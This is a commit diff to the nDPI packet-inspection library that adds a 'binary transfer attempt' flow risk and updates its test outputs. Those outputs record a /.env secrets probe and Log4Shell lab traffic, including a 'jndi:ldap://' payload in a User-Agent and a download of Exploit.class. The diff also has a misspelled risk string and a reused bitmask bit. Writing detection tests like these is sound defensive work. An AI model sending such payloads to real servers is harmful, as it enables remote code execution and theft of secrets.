diff options
-rw-r--r-- | doc/flow_risks.rst | 8 | ||||
-rw-r--r-- | src/include/ndpi_typedefs.h | 3 | ||||
-rw-r--r-- | src/lib/ndpi_main.c | 3 | ||||
-rw-r--r-- | src/lib/ndpi_utils.c | 5 | ||||
-rw-r--r-- | src/lib/protocols/http.c | 8 | ||||
-rw-r--r-- | tests/cfgs/default/pcap/dotenv.pcap | bin | 0 -> 1177 bytes | |||
-rw-r--r-- | tests/cfgs/default/result/dotenv.pcap.out | 28 | ||||
-rw-r--r-- | tests/cfgs/default/result/log4j-webapp-exploit.pcap.out | 6 | ||||
-rw-r--r-- | wireshark/ndpi.lua | 3 |
9 files changed, 54 insertions, 10 deletions
diff --git a/doc/flow_risks.rst b/doc/flow_risks.rst index 08ded148a..5344b8425 100644 --- a/doc/flow_risks.rst +++ b/doc/flow_risks.rst @@ -247,7 +247,7 @@ Additionally, some TLS protocol fields are checked for printable characters as w NDPI_POSSIBLE_EXPLOIT ===================== -The risk is set whenever a possible exploit (e.g. `Log4J/Log4Shell <https://en.wikipedia.org/wiki/Log4Shell>`_) is detected. +The risk is set whenever a possible exploit attempt (e.g. `Log4J/Log4Shell <https://en.wikipedia.org/wiki/Log4Shell>`_) is detected. .. _Risk 041: @@ -328,3 +328,9 @@ Invalid TLS ALPN/SNI mismatch. For instance ALPN advertises the flow as h2 (HTTP NDPI_MALWARE_CONTACTED ====================== Client contacted a server host labelled as malware. + +.. _Risk 054: + +NDPI_BINARY_TRANSFER_ATTEMPT +============================ +HTTP only: this risk indicates that a binary data application has been attempted (but failed). diff --git a/src/include/ndpi_typedefs.h b/src/include/ndpi_typedefs.h index f8ac2383a..52645553e 100644 --- a/src/include/ndpi_typedefs.h +++ b/src/include/ndpi_typedefs.h @@ -167,7 +167,8 @@ typedef enum { NDPI_FULLY_ENCRYPTED, /* This (unknown) session is fully encrypted */ NDPI_TLS_ALPN_SNI_MISMATCH, /* Invalid ALPN/SNI combination */ NDPI_MALWARE_HOST_CONTACTED, /* Flow client contacted a malware host */ - + NDPI_BINARY_TRANSFER_ATTEMPT,/* Attempt to transfer something in binary format */ + /* Leave this as last member */ NDPI_MAX_RISK /* must be <= 63 due to (**) */ } ndpi_risk_enum; diff --git a/src/lib/ndpi_main.c b/src/lib/ndpi_main.c index 517df9800..7e277d121 100644 --- a/src/lib/ndpi_main.c +++ b/src/lib/ndpi_main.c @@ -194,7 +194,8 @@ static ndpi_risk_info ndpi_known_risks[] = { { NDPI_FULLY_ENCRYPTED, NDPI_RISK_MEDIUM, CLIENT_FAIR_RISK_PERCENTAGE, NDPI_CLIENT_ACCOUNTABLE }, { NDPI_TLS_ALPN_SNI_MISMATCH, NDPI_RISK_MEDIUM, CLIENT_FAIR_RISK_PERCENTAGE, NDPI_CLIENT_ACCOUNTABLE }, { NDPI_MALWARE_HOST_CONTACTED, NDPI_RISK_SEVERE, CLIENT_HIGH_RISK_PERCENTAGE, NDPI_CLIENT_ACCOUNTABLE }, - + { NDPI_BINARY_TRANSFER_ATTEMPT, NDPI_RISK_MEDIUM, CLIENT_FAIR_RISK_PERCENTAGE, NDPI_CLIENT_ACCOUNTABLE }, + /* Leave this as last member */ { NDPI_MAX_RISK, NDPI_RISK_LOW, CLIENT_FAIR_RISK_PERCENTAGE, NDPI_NO_ACCOUNTABILITY } }; diff --git a/src/lib/ndpi_utils.c b/src/lib/ndpi_utils.c index 048f1572a..d04c457b0 100644 --- a/src/lib/ndpi_utils.c +++ b/src/lib/ndpi_utils.c @@ -2014,7 +2014,7 @@ const char* ndpi_risk2str(ndpi_risk_enum risk) { return("Non-Printable/Invalid Chars Detected"); case NDPI_POSSIBLE_EXPLOIT: - return("Possible Exploit"); + return("Possible Exploit Attempt"); case NDPI_TLS_CERTIFICATE_ABOUT_TO_EXPIRE: return("TLS Cert About To Expire"); @@ -2055,6 +2055,9 @@ const char* ndpi_risk2str(ndpi_risk_enum risk) { case NDPI_MALWARE_HOST_CONTACTED: return("Client contacted a malware host"); + case NDPI_BINARY_TRANSFER_ATTEMPT: + return("Binary Data Transfer Attemot"); + default: ndpi_snprintf(buf, sizeof(buf), "%d", (int)risk); return(buf); diff --git a/src/lib/protocols/http.c b/src/lib/protocols/http.c index 8c3da111c..0d0247574 100644 --- a/src/lib/protocols/http.c +++ b/src/lib/protocols/http.c @@ -67,8 +67,12 @@ static void ndpi_set_binary_application_transfer(struct ndpi_detection_module_st || ends_with(ndpi_struct, (char*)flow->host_server_name, ".windows.com") ) ; - else - ndpi_set_risk(flow, NDPI_BINARY_APPLICATION_TRANSFER, msg); + else { + if((flow->http.response_status_code >= 200) && (flow->http.response_status_code < 300)) + ndpi_set_risk(flow, NDPI_BINARY_APPLICATION_TRANSFER, msg); + else + ndpi_set_risk(flow, NDPI_BINARY_TRANSFER_ATTEMPT, msg); + } } /* *********************************************** */ diff --git a/tests/cfgs/default/pcap/dotenv.pcap b/tests/cfgs/default/pcap/dotenv.pcap Binary files differnew file mode 100644 index 000000000..13544b6f5 --- /dev/null +++ b/tests/cfgs/default/pcap/dotenv.pcap diff --git a/tests/cfgs/default/result/dotenv.pcap.out b/tests/cfgs/default/result/dotenv.pcap.out new file mode 100644 index 000000000..a6848ca45 --- /dev/null +++ b/tests/cfgs/default/result/dotenv.pcap.out @@ -0,0 +1,28 @@ +DPI Packets (TCP): 6 (6.00 pkts/flow) +Confidence DPI : 1 (flows) +Num dissector calls: 15 (15.00 diss/flow) +LRU cache ookla: 0/0/0 (insert/search/found) +LRU cache bittorrent: 0/0/0 (insert/search/found) +LRU cache zoom: 0/0/0 (insert/search/found) +LRU cache stun: 0/0/0 (insert/search/found) +LRU cache tls_cert: 0/0/0 (insert/search/found) +LRU cache mining: 0/0/0 (insert/search/found) +LRU cache msteams: 0/0/0 (insert/search/found) +LRU cache stun_zoom: 0/0/0 (insert/search/found) +Automa host: 1/0 (search/found) +Automa domain: 1/0 (search/found) +Automa tls cert: 0/0 (search/found) +Automa risk mask: 0/0 (search/found) +Automa common alpns: 0/0 (search/found) +Patricia risk mask: 0/0 (search/found) +Patricia risk mask IPv6: 0/0 (search/found) +Patricia risk: 0/0 (search/found) +Patricia risk IPv6: 0/0 (search/found) +Patricia protocols: 2/0 (search/found) +Patricia protocols IPv6: 0/0 (search/found) + +HTTP 10 993 1 + +Acceptable 10 993 1 + + 1 TCP 192.168.2.198:51327 <-> 89.31.76.10:80 [proto: 7/HTTP][IP: 0/Unknown][ClearText][Confidence: DPI][DPI packets: 6][cat: Download/7][6 pkts/490 bytes <-> 4 pkts/503 bytes][Goodput ratio: 17/46][0.12 sec][Hostname/SNI: sevenpitaly.com][bytes ratio: -0.013 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/0 24/22 45/43 20/22][Pkt Len c2s/s2c min/avg/max/stddev: 66/66 82/126 148/297 30/99][URL: sevenpitaly.com/.env][StatusCode: 406][Content-Type: application/octet-stream][Server: openresty][User-Agent: curl/8.4.0][Risk: ** Possible Exploit Attempt **** Error Code **** Binary Data Transfer Attemot **][Risk Score: 210][Risk Info: URL starting with dot / HTTP Error Code 406 / Found mime exe octet-stream][PLAIN TEXT (GET /.env HTTP/1.1)][Plen Bins: 0,0,50,0,0,0,0,50,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] diff --git a/tests/cfgs/default/result/log4j-webapp-exploit.pcap.out b/tests/cfgs/default/result/log4j-webapp-exploit.pcap.out index 46d1c96bd..81019d86d 100644 --- a/tests/cfgs/default/result/log4j-webapp-exploit.pcap.out +++ b/tests/cfgs/default/result/log4j-webapp-exploit.pcap.out @@ -29,9 +29,9 @@ LDAP 32 2796 2 Acceptable 66 9537 5 Unrated 356 25081 2 - 1 TCP 172.16.238.10:48534 <-> 172.16.238.11:80 [proto: 7/HTTP][IP: 0/Unknown][ClearText][Confidence: DPI][DPI packets: 6][cat: Download/7][7 pkts/692 bytes <-> 6 pkts/1964 bytes][Goodput ratio: 30/79][0.00 sec][Hostname/SNI: 172.16.238.11][bytes ratio: -0.479 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 0/0 1/1 0/0][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 99/327 276/1420 72/494][URL: 172.16.238.11/Exploit.class][StatusCode: 200][Content-Type: application/java-vm][Server: SimpleHTTP/0.6 Python/3.4.2][User-Agent: Java/1.8.0_51][Risk: ** Binary App Transfer **** HTTP/TLS/QUIC Numeric Hostname/SNI **** Possible Exploit **][Risk Score: 310][Risk Info: Found host 172.16.238.11 / Found mime exe java-vm / Suspicious Log4J][PLAIN TEXT (GET /Exploit.class HTTP/1.1)][Plen Bins: 0,0,0,0,0,0,66,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,33,0,0,0,0,0] - 2 TCP 172.16.238.10:48444 <-> 172.16.238.11:80 [proto: 7/HTTP][IP: 0/Unknown][ClearText][Confidence: DPI][DPI packets: 6][cat: Download/7][6 pkts/624 bytes <-> 6 pkts/1964 bytes][Goodput ratio: 33/79][0.01 sec][Hostname/SNI: 172.16.238.11][bytes ratio: -0.518 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 1/2 3/3 1/1][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 104/327 276/1420 77/494][URL: 172.16.238.11/Exploit.class][StatusCode: 200][Content-Type: application/java-vm][Server: SimpleHTTP/0.6 Python/3.4.2][User-Agent: Java/1.8.0_51][Risk: ** Binary App Transfer **** HTTP/TLS/QUIC Numeric Hostname/SNI **** Possible Exploit **][Risk Score: 310][Risk Info: Found host 172.16.238.11 / Found mime exe java-vm / Suspicious Log4J][PLAIN TEXT (GGET /Exploit.class HTTP/1.1)][Plen Bins: 0,0,0,0,0,0,66,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,33,0,0,0,0,0] - 3 TCP 172.16.238.1:1984 <-> 172.16.238.10:8080 [proto: 7/HTTP][IP: 0/Unknown][ClearText][Confidence: DPI][DPI packets: 8][cat: Web/5][5 pkts/994 bytes <-> 4 pkts/503 bytes][Goodput ratio: 65/44][19.29 sec][Hostname/SNI: 192.168.13.31][bytes ratio: 0.328 (Upload)][IAT c2s/s2c min/avg/max/stddev: 1/7 4822/6428 10256/10256 4838/4568][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 199/126 714/291 258/95][URL: 192.168.13.31:8080/log4shell/login][StatusCode: 200][Req Content-Type: application/x-www-form-urlencoded][Content-Type: text/html][User-Agent: jndi:ldap://172.16.238.11:1389/a][Risk: ** Known Proto on Non Std Port **** HTTP/TLS/QUIC Numeric Hostname/SNI **** HTTP Susp Header **** Possible Exploit **][Risk Score: 310][Risk Info: Found host 192.168.13.31 / Suspicious Log4J / Expected 172.16.238.10, found 192.168.13.31 / Expected on port 80][PLAIN TEXT (POST /log)][Plen Bins: 0,0,0,0,0,0,50,0,0,0,0,0,0,0,0,0,0,0,0,0,50,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] + 1 TCP 172.16.238.10:48534 <-> 172.16.238.11:80 [proto: 7/HTTP][IP: 0/Unknown][ClearText][Confidence: DPI][DPI packets: 6][cat: Download/7][7 pkts/692 bytes <-> 6 pkts/1964 bytes][Goodput ratio: 30/79][0.00 sec][Hostname/SNI: 172.16.238.11][bytes ratio: -0.479 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 0/0 1/1 0/0][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 99/327 276/1420 72/494][URL: 172.16.238.11/Exploit.class][StatusCode: 200][Content-Type: application/java-vm][Server: SimpleHTTP/0.6 Python/3.4.2][User-Agent: Java/1.8.0_51][Risk: ** Binary App Transfer **** HTTP/TLS/QUIC Numeric Hostname/SNI **** Possible Exploit Attempt **][Risk Score: 310][Risk Info: Found host 172.16.238.11 / Found mime exe java-vm / Suspicious Log4J][PLAIN TEXT (GET /Exploit.class HTTP/1.1)][Plen Bins: 0,0,0,0,0,0,66,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,33,0,0,0,0,0] + 2 TCP 172.16.238.10:48444 <-> 172.16.238.11:80 [proto: 7/HTTP][IP: 0/Unknown][ClearText][Confidence: DPI][DPI packets: 6][cat: Download/7][6 pkts/624 bytes <-> 6 pkts/1964 bytes][Goodput ratio: 33/79][0.01 sec][Hostname/SNI: 172.16.238.11][bytes ratio: -0.518 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 1/2 3/3 1/1][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 104/327 276/1420 77/494][URL: 172.16.238.11/Exploit.class][StatusCode: 200][Content-Type: application/java-vm][Server: SimpleHTTP/0.6 Python/3.4.2][User-Agent: Java/1.8.0_51][Risk: ** Binary App Transfer **** HTTP/TLS/QUIC Numeric Hostname/SNI **** Possible Exploit Attempt **][Risk Score: 310][Risk Info: Found host 172.16.238.11 / Found mime exe java-vm / Suspicious Log4J][PLAIN TEXT (GGET /Exploit.class HTTP/1.1)][Plen Bins: 0,0,0,0,0,0,66,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,33,0,0,0,0,0] + 3 TCP 172.16.238.1:1984 <-> 172.16.238.10:8080 [proto: 7/HTTP][IP: 0/Unknown][ClearText][Confidence: DPI][DPI packets: 8][cat: Web/5][5 pkts/994 bytes <-> 4 pkts/503 bytes][Goodput ratio: 65/44][19.29 sec][Hostname/SNI: 192.168.13.31][bytes ratio: 0.328 (Upload)][IAT c2s/s2c min/avg/max/stddev: 1/7 4822/6428 10256/10256 4838/4568][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 199/126 714/291 258/95][URL: 192.168.13.31:8080/log4shell/login][StatusCode: 200][Req Content-Type: application/x-www-form-urlencoded][Content-Type: text/html][User-Agent: jndi:ldap://172.16.238.11:1389/a][Risk: ** Known Proto on Non Std Port **** HTTP/TLS/QUIC Numeric Hostname/SNI **** HTTP Susp Header **** Possible Exploit Attempt **][Risk Score: 310][Risk Info: Found host 192.168.13.31 / Suspicious Log4J / Expected 172.16.238.10, found 192.168.13.31 / Expected on port 80][PLAIN TEXT (POST /log)][Plen Bins: 0,0,0,0,0,0,50,0,0,0,0,0,0,0,0,0,0,0,0,0,50,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] 4 TCP 172.16.238.10:57650 <-> 172.16.238.11:1389 [proto: 112/LDAP][IP: 0/Unknown][ClearText][Confidence: DPI][DPI packets: 4][cat: System/18][9 pkts/739 bytes <-> 8 pkts/727 bytes][Goodput ratio: 16/24][17.91 sec][bytes ratio: 0.008 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/5 2545/3580 17700/17700 6187/7060][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 82/91 137/215 22/47][Risk: ** Known Proto on Non Std Port **][Risk Score: 50][PLAIN TEXT (objectClass)][Plen Bins: 51,16,16,0,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] 5 TCP 172.16.238.10:57742 <-> 172.16.238.11:1389 [proto: 112/LDAP][IP: 0/Unknown][ClearText][Confidence: DPI][DPI packets: 4][cat: System/18][9 pkts/739 bytes <-> 6 pkts/591 bytes][Goodput ratio: 16/30][0.02 sec][bytes ratio: 0.111 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/0 2/1 11/2 4/1][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 82/98 137/215 22/52][Risk: ** Known Proto on Non Std Port **][Risk Score: 50][PLAIN TEXT (objectClass)][Plen Bins: 51,16,16,0,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] diff --git a/wireshark/ndpi.lua b/wireshark/ndpi.lua index e3d3bdb53..e9ed19f3c 100644 --- a/wireshark/ndpi.lua +++ b/wireshark/ndpi.lua @@ -78,7 +78,7 @@ flow_risks[36] = ProtoField.bool("ndpi.flow_risk.clear_text_credentials", "Cleat flow_risks[37] = ProtoField.bool("ndpi.flow_risk.dns_large_packet", "DNS large packet", num_bits_flow_risks, nil, bit(5), "nDPI Flow Risk: DNS packet is larger than 512 bytes") flow_risks[38] = ProtoField.bool("ndpi.flow_risk.dns_fragmented", "DNS fragmented", num_bits_flow_risks, nil, bit(6), "nDPI Flow Risk: DNS message is fragmented") flow_risks[39] = ProtoField.bool("ndpi.flow_risk.invalid_characters", "Invalid characters", num_bits_flow_risks, nil, bit(7), "nDPI Flow Risk: Text contains non-printable characters") -flow_risks[40] = ProtoField.bool("ndpi.flow_risk.possible_exploit", "Possible Exploit", num_bits_flow_risks, nil, bit(8), "nDPI Flow Risk: Possible exploit detected") +flow_risks[40] = ProtoField.bool("ndpi.flow_risk.possible_exploit", "Possible Exploit", num_bits_flow_risks, nil, bit(8), "nDPI Flow Risk: Possible exploit attempt detected") flow_risks[41] = ProtoField.bool("ndpi.flow_risk.cert_about_to_expire", "TLS cert about to expire", num_bits_flow_risks, nil, bit(9), "nDPI Flow Risk: TLS certificate about to expire") flow_risks[42] = ProtoField.bool("ndpi.flow_risk.punycode_idn", "IDN Domain Name", num_bits_flow_risks, nil, bit(10), "nDPI Flow Risk: IDN Domain Name") flow_risks[43] = ProtoField.bool("ndpi.flow_risk.error_code_detected", "Error Code Detected", num_bits_flow_risks, nil, bit(11), "nDPI Flow Risk: Error Code Detected") @@ -92,6 +92,7 @@ flow_risks[50] = ProtoField.bool("ndpi.flow_risk.tcp_issues", "TCP connection is flow_risks[51] = ProtoField.bool("ndpi.flow_risk.fully_encrypted", "Fully encrypted connection", num_bits_flow_risks, nil, bit(19), "nDPI Flow Risk: Fully encrypted connection") flow_risks[52] = ProtoField.bool("ndpi.flow_risk.tls_alpn_sni_mismatch", "ALPN/SNI Mismatch", num_bits_flow_risks, nil, bit(20), "nDPI Flow Risk: ALPN/SNI Mismatch") flow_risks[53] = ProtoField.bool("ndpi.flow_risk.malware_contact", "Contact with a malware host", num_bits_flow_risks, nil, bit(21), "nDPI Flow Risk: Malware host contacted") +flow_risks[54] = ProtoField.bool("ndpi.flow_risk.binary_transfer_attempt", "Attempt to transfer a binary file", num_bits_flow_risks, nil, bit(21), "nDPI Flow Risk: binary file transfer attempt") -- Last one: keep in sync the bitmask when adding new risks!! flow_risks[64] = ProtoField.new("Unused", "ndpi.flow_risk.unused", ftypes.UINT32, nil, base.HEX, bit(32) - bit(20)) |